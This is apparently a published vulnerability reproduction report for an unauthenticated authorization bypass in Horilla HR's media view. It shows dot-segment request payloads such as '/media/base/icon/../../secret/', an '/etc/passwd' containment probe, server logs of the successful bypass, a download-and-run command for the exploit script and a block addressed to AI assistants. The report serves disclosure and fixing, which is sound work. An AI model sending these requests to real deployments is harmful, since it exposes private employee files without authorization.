# REPRO-2026-00299: Horilla protected_media public-prefix normalization bypass: unauthenticated private in-root read on the repaired release ## Summary Status: published Severity: high CVSS: Unknown CWE: Unknown Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00299 ## Package Name: horilla/horilla-hr Ecosystem: github Affected: Unknown Fixed: Unknown ## Root Cause # RCA Report — Horilla protected_media public-prefix normalization authorization bypass ## Summary Horilla's `base/views.py::protected_media()` view authorizes media requests with a raw-prefix test, `is_public_asset = any(path.startswith(prefix) for prefix in public_media_prefixes)`, evaluated on the **raw request path** (the string captured by the URL route). The filesystem object is then resolved with `safe_join(settings.MEDIA_ROOT, path)`, which canonicalizes dot segments. Because the authorization decision and the filesystem decision use two different forms of the same path, an unauthenticated caller can request `/media/base/icon/../../`: the raw path begins with the allowlisted `base/icon/` prefix (so `is_public_asset` is true and authentication is skipped), while `safe_join` normalizes `base/icon/../../` away and serves a private file that lives elsewhere inside `MEDIA_ROOT`. `safe_join` still contains the result inside `MEDIA_ROOT`, so this is an authorization bypass, **not** path traversal. The bypass is present on the repaired releases `1.6.0` (`b3bd29d1`) and `dev/v2.0` (`77f515c7`), and the primitive already existed on the pre-repair `1.5.0` (`61bd5173`). ## Impact - **Package/component affected:** `horilla-hr` — `base/views.py::protected_media()`, routed by `base/urls.py` as `re_path(r"^media/(?P.*)$", views.protected_media, name="protected_media")`. - **Affected versions:** `1.6.0` (released, current) and `dev/v2.0@77f515c7` (repaired 2.x line). The pre-repair `1.5.0` is also affected (the raw-prefix test predates the repair; it used `exempted_folders = ["base/icon/"]` and `os.path.join`). - **Risk level and consequences:** High confidentiality impact, low exploitability barrier. Any unauthenticated network caller who can reach the `/media/` HTTP route can read arbitrary files that reside inside `MEDIA_ROOT` and outside the public prefixes, by prepending an allowlisted public prefix and dot segments. No credential, cookie, token, or Referer is required. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated read of a private in-root media object (`authz_bypass`) on the repaired release. - **Reproduced impact from this run:** Unauthenticated read of an exact private canary placed at `MEDIA_ROOT/secret/` (outside every `public_media_prefixes` entry) via `GET /media/base/icon/../../secret/` returning HTTP 200 with the canary as the response body, on both `1.6.0` and `dev/v2.0`, across two clean runs with fresh canaries. - **Parity:** `full` — the claimed authz bypass is demonstrated end-to-end through the real HTTP route, bounded to in-root read. - **Not demonstrated:** Path traversal / outside-`MEDIA_ROOT` read (control 3 proves `safe_join` still contains), arbitrary file read, account takeover, session forgery, or code execution. None of these are claimed by this ticket. ## Root Cause The 1.x authorization repair (`b6eaec1386d8b8741a42fe7c78f318f073375791`) and the 2.x authorization repair (`7ad517e54ab0b60afe1c632eb42196bd1a74b10a`) replaced the previous Referer-based authorization branch with a raw-prefix allowlist: ```python # base/views.py (1.6.0 and dev/v2.0) media_path = safe_join(settings.MEDIA_ROOT, path) # canonical, contained ... is_public_asset = any(path.startswith(prefix) for prefix in public_media_prefixes) if not is_public_asset: jwt_user = is_jwt_token_valid(request.META.get("HTTP_AUTHORIZATION", "")) if not request.user.is_authenticated and not jwt_user: ... return redirect("login") return FileResponse(open(media_path, "rb")) ``` `public_media_prefixes = ("base/icon/", "base/company/icon/", "recruitment/candidate/profile/")`. `path` is the raw URL-captured string. `safe_join` (`django.utils._os.safe_join`) calls `os.path.abspath`/`normpath` and therefore collapses `base/icon/../../secret/x` to `MEDIA_ROOT/secret/x` while still confirming the result is inside `MEDIA_ROOT`. The authorization gate, however, sees the un-normalized string, so `"base/icon/../../secret/x".startswith("base/icon/")` is `True` and authentication is skipped. The decision is made on the raw path; the file is served from the canonical path. The pre-repair `1.5.0` already had `path.startswith(folder)` against `exempted_folders = ["base/icon/"]`, so the normalization-mismatch primitive predates the repair; the repair merely removed the Referer branch and widened the prefix set. ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh`. 2. What the script does: - Installs `uv` + a managed CPython 3.12 (the sandbox ships 3.14, unsupported by the pinned Django 4.2.x / 5.2 releases), and reuses/clones the `horilla-hr` mirror. - For each pinned ref (`1.6.0`=`b3bd29d1`, `dev/v2.0`=`77f515c7`, `1.5.0`=`61bd5173`) it creates a `git worktree`, builds an isolated venv from that ref's `requirements.txt`, generates + applies migrations against a fresh empty SQLite DB (no `DATABASE_URL`/`REDIS_URL` -> SQLite + LocMem), starts the real Horilla app with `python manage.py runserver 127.0.0.1: --noreload`, and reaches it from a separate `curl` attacker process with `--path-as-is` (dot segments preserved verbatim). - Per ref it creates a random private canary at `MEDIA_ROOT/secret/.txt` (outside every public prefix) and a public canary at `MEDIA_ROOT/base/icon/.txt`, then runs the full matrix **twice** with new random canaries each run: - readiness `GET /login/` (non-5xx); - `GET /media/secret/` unauthenticated -> must be denied (302) and must not contain the canary (oracle 2); - `GET /media/base/icon/../../secret/` unauthenticated -> must be 200 with body == private canary (oracle 3+4); - `GET /media/base/icon/` -> 200 (control 1: allowlist alive); - `GET /media/base/icon/../../../../../../etc/passwd` -> 404 (control 3: containment intact; repaired refs only); - `GET /media/secret/` with `Referer: http://attacker.invalid/login` -> 302 (control 2: Referer repair intact; repaired refs only). - For `1.5.0` it checks control 4 (the dot-segment request returns the canary, proving the primitive predates the repair) on both runs. - It records the server-observed path for every request, the outgoing request headers (proving no Cookie/Authorization), response status/headers/body, source identities, and the modified-file inventory, then writes `runtime_manifest.json` and `validation_verdict.json`. 3. Expected evidence of reproduction: every repaired ref satisfies the full oracle on both runs; the dot-segment request returns HTTP 200 with the exact private canary while the direct private request is 302; `safe_join` still 404s an escaping path; no cookie/Authorization is sent. ## Evidence - Oracle summaries: `bundle/logs/repro/{1.6.0,dev_v2.0,1.5.0}_oracle_run{1,2}.json` - Server-observed paths (dot segments preserved verbatim): `bundle/logs/repro/{ref}_observed_paths_run{1,2}.txt` - Response bodies/headers: `bundle/logs/repro/{ref}_{direct_private,dotseg_bypass,public_icon,escape_containment,direct_private_referer}_run{1,2}.{resp.body,resp.hdr,code,req}` - Server access logs: `bundle/logs/repro/{ref}_server.log` - Source identities: `bundle/logs/repro/{ref}_head.txt` - Modified-file inventory: `bundle/logs/repro/{ref}_modified_files.txt` - Full run log: `bundle/logs/reproduction_steps.log` Key excerpts (`1.6.0`, run 1): ``` # server-observed paths (dot segments NOT collapsed by the client or server) "GET /media/secret/private_09c89ea4578dcd1f.txt HTTP/1.1" 302 0 "GET /media/base/icon/../../secret/private_09c89ea4578dcd1f.txt HTTP/1.1" 200 31 "GET /media/base/icon/public_09c89ea4578dcd1f.txt HTTP/1.1" 200 28 "GET /media/base/icon/../../../../../../etc/passwd HTTP/1.1" 404 52039 # outgoing request headers for the bypass request (no Cookie, no Authorization) > GET /media/base/icon/../../secret/private_09c89ea4578dcd1f.txt HTTP/1.1 > Host: 127.0.0.1:19011 > User-Agent: curl/8.18.0 > Accept: */* < HTTP/1.1 200 OK < Content-Type: text/plain < Content-Length: 31 # bypass response body == private canary PRIVATE_SECRET_09c89ea4578dcd1f # direct private response HTTP/1.1 302 Found Location: /login/ ``` `dev/v2.0@77f515c7` run 2 produced the identical pattern (`dotseg 200` with the canary, `direct 302`, `escape 404`, `referer 302`). `1.5.0` run 2: `dotseg 200` with the canary (`PRIVATE_SECRET_064ba22f6374f70e`), confirming the primitive predates the repair. Aggregate result across both clean runs: `1.6.0` pass=1, `dev_v2.0` pass=1, `1.5.0` pass=1 -> `REPRO_CONFIRMED=1`. Environment: Django runserver (`WSGIServer/0.2 CPython/3.12.13`), SQLite + LocMem cache, `MEDIA_ROOT=/.../media/`, `MEDIA_URL=/media/`, `DEBUG=True` (default), no `DATABASE_URL`/`REDIS_URL`. `curl/8.18.0` with `--path-as-is` and `-v` from a separate process; no Cookie/Authorization sent on the oracle requests. ## Recommendations / Next Steps - **Fix:** make the authorization decision on the canonical path, not the raw one. After `safe_join` resolves `media_path`, derive the relative path from `MEDIA_ROOT` (e.g. `rel = os.path.relpath(media_path, settings.MEDIA_ROOT)` with a containment guard) and test `rel.startswith(prefix)` against that normalized relative path — or reject any request path that contains dot segments before authorization. Either approach aligns the authorization string with the filesystem string. - **Defense in depth:** do not rely on a string-prefix allowlist for unauthenticated media serving; serve public assets from a separate public root/directory not shared with private uploads, so a prefix test can never reach private objects. - **Upgrade guidance:** no released version currently denies this variant; the repaired releases (`1.6.0`, `dev/v2.0`) are bypassable. A patch is required. - **Testing:** add a regression test that requests `/media/base/icon/../../` unauthenticated and asserts denial (302/403) while `/media/base/icon/` stays 200, plus a containment test that an escaping path 404s. ## Additional Notes - **Idempotency:** the script recreates worktrees, fresh SQLite DBs, and new random canaries on every invocation; venvs are reused across the two in-script runs (they depend only on the pinned ref's `requirements.txt`). Re-running reproduces the same oracle outcome. - **Scope boundary:** the resolved file never leaves `MEDIA_ROOT`; `safe_join` is satisfied (control 3: escaping path -> 404). This is an authorization bypass bounded to unauthenticated in-root read, not path traversal (which is covered by `GHSA-x52c-5hrq-76pq`). - **Modified-file inventory:** `git status --porcelain` per worktree recorded no application-source changes; `base/views.py`, `base/urls.py`, routing, middleware, authentication, and file-open behavior were not modified. Only gitignored Django-generated migration files (the `1.6.0`/`1.5.0` tags ship only `migrations/__init__.py`) and runtime SQLite files were added. - **Client caveat:** the HTTP client must preserve dot segments verbatim (`curl --path-as-is`); a client that collapses `../` before sending invalidates the run. The server access log confirms the dots reached the Horilla process unmodified. ## Reproduction Details Reproduced: 2026-07-27T01:26:06.311Z Duration: 5045 seconds Tool calls: 263 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00299 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00299&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00299/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - Source: https://github.com/horilla/horilla-hr ## Artifacts - bundle/repro/reproduction_steps.sh (reproduction_script, 18256 bytes) - bundle/repro/rca_report.md (analysis, 11419 bytes) - bundle/repro/runtime_manifest.json (other, 2284 bytes) - bundle/logs/reproduction_steps.log (log, 5086 bytes) - bundle/logs/repro/1.6.0_oracle_run1.json (other, 254 bytes) - bundle/logs/repro/1.6.0_observed_paths_run1.txt (other, 462 bytes) - bundle/logs/repro/1.6.0_dotseg_bypass_run1.resp.body (other, 31 bytes) - bundle/logs/repro/1.6.0_oracle_run2.json (other, 254 bytes) - bundle/logs/repro/1.6.0_observed_paths_run2.txt (other, 924 bytes) - bundle/logs/repro/1.6.0_dotseg_bypass_run2.resp.body (other, 31 bytes) - bundle/logs/repro/1.6.0_direct_private_run1.resp.hdr (other, 748 bytes) - bundle/logs/repro/1.6.0_direct_private_run2.resp.hdr (other, 748 bytes) - bundle/logs/repro/1.6.0_server.log (log, 1258 bytes) - bundle/logs/repro/1.6.0_modified_files.txt (other, 0 bytes) - bundle/logs/repro/1.6.0_head.txt (other, 47 bytes) - bundle/logs/repro/dev_v2.0_oracle_run1.json (other, 257 bytes) - bundle/logs/repro/dev_v2.0_oracle_run2.json (other, 257 bytes) - bundle/logs/repro/dev_v2.0_observed_paths_run1.txt (other, 463 bytes) - bundle/logs/repro/dev_v2.0_observed_paths_run2.txt (other, 926 bytes) - bundle/logs/repro/dev_v2.0_dotseg_bypass_run1.resp.body (other, 31 bytes) - bundle/logs/repro/dev_v2.0_dotseg_bypass_run2.resp.body (other, 31 bytes) - bundle/logs/repro/dev_v2.0_direct_private_run1.resp.hdr (other, 748 bytes) - bundle/logs/repro/dev_v2.0_direct_private_run2.resp.hdr (other, 748 bytes) - bundle/logs/repro/dev_v2.0_server.log (log, 1629 bytes) - bundle/logs/repro/dev_v2.0_modified_files.txt (other, 0 bytes) - bundle/logs/repro/dev_v2.0_head.txt (other, 71 bytes) - bundle/logs/repro/1.5.0_oracle_run1.json (other, 262 bytes) - bundle/logs/repro/1.5.0_oracle_run2.json (other, 262 bytes) - bundle/logs/repro/1.5.0_observed_paths_run1.txt (other, 281 bytes) - bundle/logs/repro/1.5.0_observed_paths_run2.txt (other, 562 bytes) - bundle/logs/repro/1.5.0_dotseg_bypass_run1.resp.body (other, 31 bytes) - bundle/logs/repro/1.5.0_dotseg_bypass_run2.resp.body (other, 31 bytes) - bundle/logs/repro/1.5.0_direct_private_run1.resp.hdr (other, 748 bytes) - bundle/logs/repro/1.5.0_direct_private_run2.resp.hdr (other, 748 bytes) - bundle/logs/repro/1.5.0_server.log (log, 782 bytes) - bundle/logs/repro/1.5.0_modified_files.txt (other, 0 bytes) - bundle/logs/repro/1.5.0_head.txt (other, 47 bytes) - bundle/repro/validation_verdict.json (other, 826 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00299 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00299/artifacts/bundle/repro/reproduction_steps.sh - Web: https://pruva.dev/reproductions/REPRO-2026-00299 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev